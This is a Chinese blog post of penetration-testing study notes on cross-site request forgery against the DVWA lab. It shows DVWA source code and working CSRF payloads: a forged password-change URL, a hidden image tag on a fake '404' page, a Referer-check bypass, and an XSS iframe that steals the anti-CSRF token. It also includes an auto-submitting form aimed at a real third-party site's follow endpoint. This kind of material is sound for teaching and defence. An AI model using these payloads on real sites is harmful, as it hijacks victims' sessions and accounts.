学习笔记-渗透测试-001_CSRF_一文通晓

1 什么是CSRF

CSRF(Cross-Site Request Forgery,跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗受害人在不知情的的情况下点击恶意链接或者访问包含攻击代码的页面,受害人的浏览器向服务器发起恶意请求,由于浏览器曾经认证过,所以被访问的⽹站会认为是真正的⽤户操作⽽去运⾏

image-20230222142119568

2 漏洞利用条件

CSRF与SQL注入漏洞不同,对于攻击者而言,CSRF产生的必要条件是用户上传的数据包可预测,攻击者可以伪造相同格式的数据包进行上传,对于服务端而言,接收到的数据就是受害者浏览器发起的正常请求内容,并不能使用waf等工具进行拦截识别。唯一的识别方式就是添加机制校验该请求是否为用户主动发起

鉴于CSRF需要受害者点击攻击者的页面或者恶意链接,所以服务端可以添加referer机制和单次刷新的token进行验证

referer:访问来源,浏览器是从哪个点击过来的
token:为服务器发起随机数,用户每次点击服务器都会进行token的下发,并且访问页面时需要页面进行主动上传与服务器中记录进行比对校验

tips:token不能放于cookie中,因为cookie会从浏览器主动进行上传,而放于其他地方,攻击者网页无法跨域获得token

总结:CSRF有两个关键的利用条件:服务端验证referer机制不完善和token利用可绕过

CSRF利用流程: 攻击者发现CSRF漏洞-->构造代码-->发送给受害人-->受害人打开-->受害人执行代码-->完成攻击

3 攻击原理

目标靶场(DVWA):http://192.168.0.102/

3.1 源代码分析

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // 获取输入
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // 输入和验证密码是否匹配?
    if( $pass_new == $pass_conf ) {
        // 预防SQL注入
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      //将密码使用md5进行加密
        $pass_new = md5( $pass_new );
        // 更新数据库 user名为dvwaCurrentUser()变量的值
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // 用户反馈
        echo "<pre>密码已更改.</pre>";
    }
    else {
        // 密码不匹配
        echo "<pre>两次输入的密码不一致.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

我们可以看到,该页面代码为修改账户的密码,用户需要独立输入两次新密码,在比对通过后,通过函数mysqli_real_escape_string()对变量$pass_new做了转义,预防了sql注入的发生,但并未验证referertoken让csrf攻击有了可乘之机

3.2 攻击过程演示

使用burpsuit进行对正常的修改密码过程进行抓包,放入Repeater中进行重放

image-20230227151559576

观察包,没有任何的token字段,尝试修改referer,查看是否能够正常返回

image-20230227151712515

返回正常,并且由于是GET请求,所以,我们尝试直接将url进行修改点击

http://192.168.0.101/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change

# 为更隐蔽,可以采用短域名生成器
http://u1k5.cn/Vy6Lg

image-20230227151830498

显示修改成功,使用我们的新密码进行尝试登录,显示登陆成功,说明CSRF攻击完成

image-20230227151913956

3.3 burp生成CSRF页面

burpsuit可以帮助我们一键生成CSRF攻击页面,将其放入我们自己的服务器后,引诱受害者点击,即可完成攻击

注意:在生成页面阶段需要先将密码修改为自己想要的值
演示过程由于上文已经将密码修改为123456789 再次通过csrf修改为admin

python启动web服务的命令为:python -m http.server 8000

2023022701

3.4 手动构建CSRF页面

burp构建的页面需要受害者进行一次点击按钮,我们还可以通过<img>标签发送get请求实现CSRF攻击

<html>
    <img src="http://192.168.0.101/vulnerabilities/csrf/?password_new=aaaaa&password_conf=aaaaa&Change=Change"/>
    <p>404 error</p>
</html>

我们将它放入了2.html中,访问http://192.168.0.107:8000/2.html浏览器会自动申请资源对目标url进行访问

目前该攻击方案a标签跳转为302,无法访问资源,原因未知

4 利用绕过

部分开发者会有一定的安全意识,所以会设置对应的规则阻止我们

4.1 referer验证

将DVWA的难度等级设置为Medium

image-20230227161422768

通过抓包我们发现,该难度添加了referer验证

image-20230227171635637

通过源代码分析,我们也能发现该问题

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // 验证referer
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

在php代码中发现了stripos("A语句","B语句")函数,该函数是验证A语句中是否包含有B语句

image-20230227171945797

也就是说,我们只需要做的referer中包含$_SERVER[ 'SERVER_NAME' ]即可绕过验证

2023022702

由于很多网站做了限制,可能出现referer信息只显示host地址,采用http://192.168.0.107:8000/192.168.0.101.html的方式可能无法绕过

image-20230227173019633

所以这里采用修改子域名的方式进行

192.168.0.101.kinghtxg.com

靶场环境 hosts添加
192.168.0.107 192.168.0.101.kinghtxg.com

image-20230227173453813

访问urlhttp://192.168.0.101.kinghtxg.com/1.html,成功绕开防御

2023022703

4.2 token绕过方式

注意:该方案采用XSS获取token,而XSS的危害等级实际比CSRF高,所以看看就好

首先将安全等级设置为High

image-20230227180128018

打开源代码,我们能够很清楚的看到,他会校验token

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}

if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        echo "<pre>" . $return_message . "</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

依旧是get请求,而请求中的参数包含了一个名为user_token的密文,这就是我们前面原理部分提到过的token机制,每一次改密请求token都是一个不可预测的随机数,low/medium等级的方法显然不适用了,因为没有token,我们发出的请求就是无效的,而token是未知且难以预测的,从代码中也可以看出使用了token机制

值得一提的是,如果你想用csrf去构造一个恶意页面用来偷取访问该页面的用户的token的话,我只能告诉你,你是不能成功的,这里牵扯到一个名为“跨域”的问题:

我们的要偷偷访问的地址是http://192.168.0.101/dvwa/vulnerabilities/csrf ,位于服务器 192.168.0.101上,而我们的攻击页面位于黑客服务器 11.2.11.122(假设)上,两者的域名不同,域名 B 下的所有页面都不允许主动获取域名 A 下的页面内容,除非域名 A 下的页面主动发送信息给域名 B 的页面,所以我们的域是不能主动获取目标域的信息的,只能等待目标域主动发送信息,而对于user_token之类的敏感信息,目标域是不会主动发送给我们的。所以我们的攻击脚本是不可能取到改密界面中的user_token 。 所以,进行到这里,我们判断:仅仅使用csrf是得不到用户token,也完成不了攻击的!

本步骤将利用xss绕过防御规则 这里需要利用到high等级的xss漏洞来获取user_token,payload如下:

<iframe src='../csrf' onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

而获取user_token后,我们就可以重复low等级的步骤,只不过改变一下src里的利用代码:

<img src="http://192.168.0.101/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change&user_token=6416c6dbc888098b6c6ef59bc2334fb2#"/>

此处6416c6dbc888098b6c6ef59bc2334fb2xss获取到的token,每一次刷新都在改变,请注意。

注:形似6416c6dbc888098b6c6ef59bc2334fb2的密文为服务端返回的token,对于防御机制较为完善的网站来说,用户要进行敏感操作如支付改密等时,服务端会发给客户端一个随机数的响应,并且在服务端本身留下此随机数,用户进行敏感操作时必须带上此随机数,如果缺失或者随机数与服务端不匹配,就拒绝该请求。

接下来即可重复low等级步骤,建立html文档,诱使合法用户打开实现攻击(请注意!!当你xss弹框出来token时请不要返回csrf页面,因为在你点击csrf进入改密页面时token已经再次刷新!!)

<html>
<body>
<form id="csrf" name="csrf" action="http://photo.weibo.com/users/follow" method="POST">
<input type="text" name="uid" value="1981622273" />
<input type="submit" value="submit" />
</form>
<script>
    document.csrf.submit();
</script> 
</body>
</html>

5 总结

CSRF是一个明显的无特征漏洞,无法在服务端进行绝对的防御和识别,它攻击的是未失效的会话,但是!!!

并非所有的未失效会话都是漏洞,可能是厂商为了维持登录所故意设置的代码逻辑

所以CSRF的挖掘前提是出现位置属于敏感操作

posted @ 2023-02-27 18:14  kinghtxg  阅读(114)  评论(0编辑  收藏  举报